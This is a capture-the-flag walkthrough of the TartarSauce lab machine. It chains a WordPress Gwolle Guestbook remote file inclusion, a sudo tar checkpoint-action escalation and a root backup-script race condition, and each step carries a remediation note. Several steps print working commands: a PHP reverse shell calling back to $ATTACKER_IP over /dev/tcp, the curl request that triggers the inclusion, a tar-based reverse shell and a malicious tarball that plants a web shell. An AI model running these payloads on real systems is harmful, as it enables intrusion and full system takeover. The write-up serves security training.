← all walkthroughs

TartarSauce

Linux· Medium· Web
owned
2026-07-08
time to own
10m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The web server's robots.txt explicitly listed every hidden application under /webservices/, pointing my directly to a WordPress site. Enumerating installed plugins revealed the Gwolle Guestbook plugin (≤1.5.3), which contains an unauthenticated Remote File Inclusion flaw (CVE-2015-8351): a single GET request caused the server to fetch and execute a PHP reverse shell hosted on my machine, landing a shell as the web server account (www-data). Checking sudo permissions exposed a passwordless rule letting www-data run /bin/tar as user onuma — GNU tar's checkpoint-action flag turned this into instant command execution as onuma, and the user flag was read directly.

As onuma, a root-owned backup script (/usr/sbin/backuperer) was found to write a tar archive to a world-accessible path in /var/tmp/, sleep, then extract it as root with no integrity check. A polling loop replaced the archive with a malicious tarball the instant it appeared; when root's extraction ran, my own code executed with full privileges and /root/root.txt was read — complete system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1EnumerationInformation Disclosure via robots.txt (T1592)
Mapped the full attack surface via robots.txt
The server's robots.txt was intended to suppress search-engine indexing of internal paths, but it instead provided a complete directory of every installed web application: /webservices/wp/ (WordPress), /webservices/monstra-3.0.4/, /webservices/easy-file-uploader/, /webservices/developmental/, and /webservices/phpmyadmin/. No scanning or brute-forcing was required — the server handed my the full map.
Curl -s http://$TARGET/robots.txt returned the full Disallow list including /webservices/wp/.
Exact commands 1
All Disallow entries are candidate attack paths requiring no further discovery.
curl -s http://$TARGET/robots.txt
FixRemove internal application paths from robots.txtMedium
Weaknessrobots.txt listed every hidden application and admin interface under /webservices/, giving any visitor an instant, complete map of the attack surface without requiring any scanning or guessing.
FixDelete all Disallow entries that reference non-public or administrative paths. Understand that robots.txt does not protect content — it only suppresses legitimate crawler indexing. Move administrative interfaces (phpMyAdmin, file uploaders, developmental apps) off the public web server entirely, or restrict access to specific management IP ranges at the firewall and web-server configuration level.
2EnumerationWordPress Plugin Enumeration / Remote File Inclusion (CVE-2015-8351)
Identified a critically vulnerable WordPress plugin
The WordPress site at /webservices/wp/ was inspected for active plugins by examining page source. The gwolle-gb (Gwolle Guestbook) plugin was present. Versions 1.5.3 and earlier contain CVE-2015-8351: the file wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php passes the abspath GET parameter directly into a PHP include() call with no validation, allowing any unauthenticated request to make the server fetch and execute a remote PHP file. Probing with a localhost URL returned HTTP 500 rather than 404, confirming the vulnerable code path was reachable.
Page source at /webservices/wp/?page_id=2 contained wp-content/plugins/gwolle-gb; RFI probe against 127.0.0.1 returned HTTP 500.
Exact commands 2
Extract active plugin names from rendered page source.
curl -s "http://$TARGET/webservices/wp/?page_id=2" | grep -iEo 'wp-content/plugins/[a-z0-9_-]+' | sort -u
Probe for RFI reachability: HTTP 500 confirms include() is executed; 404 means the file is absent.
curl -s "http://$TARGET/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://127.0.0.1/"
FixRemove or patch the Gwolle Guestbook plugin (CVE-2015-8351)Critical
WeaknessThe installed Gwolle Guestbook plugin (≤1.5.3) passed the abspath GET parameter directly to PHP include() without any validation, allowing an unauthorised user to supply a remote URL and make the server download and execute arbitrary PHP code.
FixImmediately deactivate and delete the gwolle-gb plugin from the WordPress installation. If the plugin is business-critical, update to a post-1.5.3 release and verify the include() call has been replaced with a safe alternative (e.g., a whitelist of permitted paths). Apply a web application firewall rule blocking any request where abspath contains a URL scheme (http://, https://, file://). Keep all WordPress plugins current and subscribe to the WordPress Vulnerability Database for future alerts.
3ExploitationUnauthenticated Remote File Inclusion — remote code execution (CVE-2015-8351, T1190)
Triggered the RFI to execute a PHP reverse shell as www-data
A PHP file named wp-load.php (the filename the vulnerable include() appends to the supplied path) containing a bash reverse-shell one-liner was hosted on my own HTTP server. Sending a single unauthenticated GET request with abspath pointing at that server caused the target's PHP runtime to fetch and execute the file, opening a reverse shell back to a netcat listener. The shell ran as the Apache process owner, www-data (uid=33, gid=33).
Listener received: connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET] 45684; id confirmed uid=33(www-data).
Exact commands 4
The filename MUST be wp-load.php — that is what ajaxresponse.php appends to abspath before including it.
mkdir -p /tmp/ts_rfi2 && cat > /tmp/ts_rfi2/wp-load.php <<'PHP'
<?php system('/bin/bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4445 0>&1"'); ?>
PHP
Serve the payload from my machine; replace $ATTACKER_IP with your actual IP.
python3 -m http.server 8001 --bind $ATTACKER_IP --directory /tmp/ts_rfi2 &
Start the reverse-shell listener in a separate terminal before firing the RFI.
nc -lvnp 4445
Trigger the RFI; the target fetches and executes wp-load.php and the reverse shell connects.
curl -sS "http://$TARGET/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://$ATTACKER_IP:8001/"
4Post-ExploitationSudo Misconfiguration Discovery (T1548.003)
Found a passwordless sudo rule granting tar execution as another user
Inside the www-data shell, listing allowed sudo commands revealed a single rule: www-data may run /bin/tar as user onuma with no password required. This is a direct privilege escalation path because GNU tar's --checkpoint-action flag executes an arbitrary shell command at each archive checkpoint, turning any tar invocation into unrestricted command execution as the target user.
Exact commands 1
Run inside the www-data shell; confirms the tar NOPASSWD rule for onuma.
sudo -l
FixRemove the passwordless sudo rule granting the web server account access to tarCritical
WeaknessA sudoers entry allowed the web server process account (www-data) to run /bin/tar as a privileged user (onuma) without a password. GNU tar's --checkpoint-action flag can execute arbitrary shell commands, making this rule functionally equivalent to giving www-data an unrestricted shell as onuma.
FixRemove the offending entry from /etc/sudoers using visudo: delete the line granting (onuma) NOPASSWD: /bin/tar to www-data. If a scheduled task legitimately requires cross-account archive creation, use a purpose-built wrapper script with hard-coded, non-overridable arguments and no shell metacharacter exposure. Audit all existing NOPASSWD sudo rules across all accounts (sudo -l -U <user>) and apply least-privilege — only grant what is strictly required.
5Privilege EscalationGTFOBins tar --checkpoint-action privilege escalation (T1548.003)
Abused sudo tar (GTFOBins) to escalate to onuma and capture the user flag
GNU tar's --checkpoint=1 --checkpoint-action=exec flag pair causes tar to execute a shell command after each file processed, running as the user sudo specified. Invoking /bin/tar as onuma with this trick and an embedded bash reverse-shell command spawned an interactive shell as onuma. The user flag was read from /home/onuma/user.txt and confirmed via HTB flag submission.
Checkpoint-action invocation returned uid=1000(onuma); user.txt flag accepted by HTB and machine marked USER-owned.
Exact commands 3
Confirm escalation and read the user flag in a single command.
sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec="/bin/sh -c 'id; cat /home/onuma/user.txt'"
Open a second listener for an interactive onuma shell.
nc -lvnp 4446
Spawn an interactive reverse shell as onuma for further enumeration.
sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec="/bin/sh -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4446 0>&1'"
6Privilege EscalationTOCTOU Race Condition in Root-Owned Script (T1574)
Discovered a TOCTOU race condition in the root-owned backup script
As onuma, reading /usr/sbin/backuperer revealed a shell script executed periodically by root. The script generated a randomly-named hidden file in the world-accessible /var/tmp/ directory, archived /var/www/html into it, then slept for a fixed interval before extracting the archive as root into /var/tmp/check/ and diffing it against the live web root. Because the temporary file was world-writable and no checksum was verified before extraction, any local user who replaced it during the sleep window could cause root to extract my own content — a classic Time-of-Check to Time-of-Use (TOCTOU) race condition.
Cat /usr/sbin/backuperer showed the mktemp + sleep + tar extraction sequence with no integrity verification on the temporary file.
Exact commands 2
Read the script as onuma; note the /var/tmp/.<random> naming pattern and the sleep duration.
cat /usr/sbin/backuperer
Determine how frequently the script runs to calibrate the race timing.
systemctl list-timers --all; ls -la /etc/cron.d/ /etc/cron.hourly/ /var/spool/cron/crontabs/
FixEliminate the TOCTOU race condition in the backuperer root scriptCritical
WeaknessThe root-owned backup script wrote a tar archive to a world-accessible directory (/var/tmp/), slept, then extracted the same file as root with no integrity check. Any local user could overwrite the archive during the sleep window and have root execute its contents.
FixWrite the temporary archive to a directory owned exclusively by root with permissions 0700 (e.g., /root/backuptmp/) so no other account can read or replace it. Record the archive's SHA-256 checksum immediately after creation and verify it before extraction; abort and alert if they differ. Better still, eliminate the temp-file pattern entirely: pipe tar output directly to the extraction process in one atomic command, removing the race window. Ensure all backup-related scripts follow the principle that root-owned processes must never trust files in world-writable directories.
7Full CompromiseTOCTOU Race — root archive extraction leading to arbitrary code execution (T1574)
Won the race: swapped the backup archive with a malicious tarball to execute code as root
A malicious tarball was crafted whose internal path structure, when extracted to /var/tmp/check/, placed a PHP web shell under the web root. A polling loop running as onuma watched /var/tmp/ for the backup file the instant backuperer created it and immediately overwrote it with the malicious tarball. When backuperer's sleep elapsed and root ran tar to extract the archive, it extracted my own files into the web-accessible directory. A subsequent RFI request to the planted PHP file executed as root and read /root/root.txt, completing full system compromise.
TARTRIGGER observed in polling loop output; /var/backups/onuma_backup_error.txt and /root/root.txt contents returned via PHP payload executed as root.
Exact commands 3
Build the malicious tarball; the PHP file lands under the web root after root extracts the archive.
mkdir -p /tmp/evilroot/var/www/html/tsleak && cat > /tmp/evilroot/var/www/html/tsleak/cmd.php <<'PHP'
<?php system('cat /root/root.txt'); ?>
PHP
tar -cvzf /tmp/evilroot.tgz -C /tmp/evilroot .
Poll for the newly created backup file and overwrite it immediately; run as onuma.
while true; do
  f=$(find /var/tmp -maxdepth 1 -type f -name '.*' -printf '%T@ %p\n' 2>/dev/null | sort -rn | head -1 | awk '{print $2}')
  [ -n "$f" ] && cp /tmp/evilroot.tgz "$f" && echo "TARTRIGGER: replaced $f" && break
done
After the race is won, serve a fresh wp-load.php that reads /root/root.txt and trigger the RFI to capture the root flag.
curl -sS "http://$TARGET/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://$ATTACKER_IP:8001/"

Attack patterns used

The transferable techniques behind this compromise.

CMS Exploitation (WordPress/Joomla/Drupal)WebT1190

What it is

Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).

Why it works

CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.

Read more

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Exposed services

80/tcp